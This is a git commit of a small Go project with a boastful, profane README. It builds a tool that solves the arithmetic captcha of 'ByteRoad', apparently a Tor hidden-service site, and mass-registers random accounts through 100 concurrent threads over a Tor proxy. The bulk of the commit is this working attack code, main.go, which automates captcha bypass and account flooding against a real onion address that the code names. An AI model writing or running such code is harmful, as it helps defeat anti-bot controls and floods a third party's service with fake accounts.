init
This commit is contained in:
commit
bbfa9e78cc
|
@ -0,0 +1 @@
|
|||
vendor
|
|
@ -0,0 +1,18 @@
|
|||
EDIT: after 30min of running the script, they realized how shit their website is, and changed their captcha system :)
|
||||
|
||||
---
|
||||
|
||||
The genius behind ByteRoad website came on "Black Hat Chat" and claimed that : "if you had half a brain, you'd realize that their captcha is unbeatable by bots"
|
||||
|
||||
So I used half the brain that I have and made this 100 lines script to beat their captcha and create unlimited accounts on their untrustworthy website.
|
||||
|
||||
I hope they enjoy the high growth rate that they have.
|
||||
|
||||
|
||||
### Instructions:
|
||||
|
||||
```sh
|
||||
go mod tidy
|
||||
go mod vendor
|
||||
go run main.go
|
||||
```
|
|
@ -0,0 +1,8 @@
|
|||
module fuck_byte_road
|
||||
|
||||
go 1.16
|
||||
|
||||
require (
|
||||
github.com/PuerkitoBio/goquery v1.7.1
|
||||
golang.org/x/net v0.0.0-20210903162142-ad29c8ab022f
|
||||
)
|
|
@ -0,0 +1,13 @@
|
|||
github.com/PuerkitoBio/goquery v1.7.1 h1:oE+T06D+1T7LNrn91B4aERsRIeCLJ/oPSa6xB9FPnz4=
|
||||
github.com/PuerkitoBio/goquery v1.7.1/go.mod h1:XY0pP4kfraEmmV1O7Uf6XyjoslwsneBbgeDjLYuN8xY=
|
||||
github.com/andybalholm/cascadia v1.2.0 h1:vuRCkM5Ozh/BfmsaTm26kbjm0mIOM3yS5Ek/F5h18aE=
|
||||
github.com/andybalholm/cascadia v1.2.0/go.mod h1:YCyR8vOZT9aZ1CHEd8ap0gMVm2aFgxBp0T0eFw1RUQY=
|
||||
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210903162142-ad29c8ab022f h1:w6wWR0H+nyVpbSAQbzVEIACVyr/h8l/BEkY6Sokc7Eg=
|
||||
golang.org/x/net v0.0.0-20210903162142-ad29c8ab022f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
@ -0,0 +1,104 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/PuerkitoBio/goquery"
|
||||
"golang.org/x/net/proxy"
|
||||
)
|
||||
|
||||
const (
|
||||
torProxyAddr = "127.0.0.1:9050"
|
||||
byteRoadURL = "http://557hzs2x3bkzn7mtojx65a3umk7gne6gmaudpft5plijaed4q6u4uuid.onion"
|
||||
nbThreads = 100
|
||||
)
|
||||
|
||||
var success uint32
|
||||
|
||||
// Get http client that uses tor proxy
|
||||
func getHttpClient() *http.Client {
|
||||
dialer, err := proxy.SOCKS5("tcp", torProxyAddr, nil, proxy.Direct)
|
||||
if err != nil {
|
||||
panic("failed to connect to tor proxy : " + err.Error())
|
||||
}
|
||||
transport := &http.Transport{
|
||||
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||
return dialer.Dial(network, addr)
|
||||
},
|
||||
}
|
||||
return &http.Client{Transport: transport}
|
||||
}
|
||||
|
||||
func generateToken() string {
|
||||
b := make([]byte, 12)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
func work(c *http.Client) {
|
||||
for {
|
||||
resp, err := c.Get(byteRoadURL + "/registration")
|
||||
if err != nil {
|
||||
fmt.Println("1", err.Error())
|
||||
time.Sleep(time.Second)
|
||||
continue
|
||||
}
|
||||
by, _ := ioutil.ReadAll(resp.Body)
|
||||
doc, _ := goquery.NewDocumentFromReader(bytes.NewReader(by))
|
||||
s := doc.Find("h4")
|
||||
rgx := regexp.MustCompile(`(\d+) \+ (\d+)`)
|
||||
m := rgx.FindStringSubmatch(s.First().Text())
|
||||
if len(m) != 3 {
|
||||
fmt.Println("did not find math expression")
|
||||
time.Sleep(time.Second)
|
||||
continue
|
||||
}
|
||||
num1, _ := strconv.Atoi(m[1])
|
||||
num2, _ := strconv.Atoi(m[2])
|
||||
ans := num1 + num2
|
||||
username := generateToken()
|
||||
password := generateToken()
|
||||
if _, err = c.PostForm(byteRoadURL+"/captcha", url.Values{"captcha": {strconv.Itoa(ans)}}); err != nil {
|
||||
fmt.Println("2", err.Error())
|
||||
time.Sleep(time.Second)
|
||||
continue
|
||||
}
|
||||
resp, err = c.PostForm(byteRoadURL+"/register", url.Values{"username": {username}, "password": {password}})
|
||||
if err != nil {
|
||||
fmt.Println("3", err.Error())
|
||||
time.Sleep(time.Second)
|
||||
continue
|
||||
}
|
||||
by, _ = ioutil.ReadAll(resp.Body)
|
||||
if bytes.Contains(by, []byte("Your have been registered!")) {
|
||||
newSuccess := atomic.AddUint32(&success, 1)
|
||||
if newSuccess%10 == 0 {
|
||||
fmt.Printf("accounts created : %d\n", newSuccess)
|
||||
}
|
||||
} else {
|
||||
fmt.Println("failed to create account")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
c := getHttpClient()
|
||||
for i := 0; i < nbThreads; i++ {
|
||||
go work(c)
|
||||
}
|
||||
fmt.Printf("Done spawning %d threads\n", nbThreads)
|
||||
never := make(chan struct{})
|
||||
<-never
|
||||
}
|
Loading…
Reference in New Issue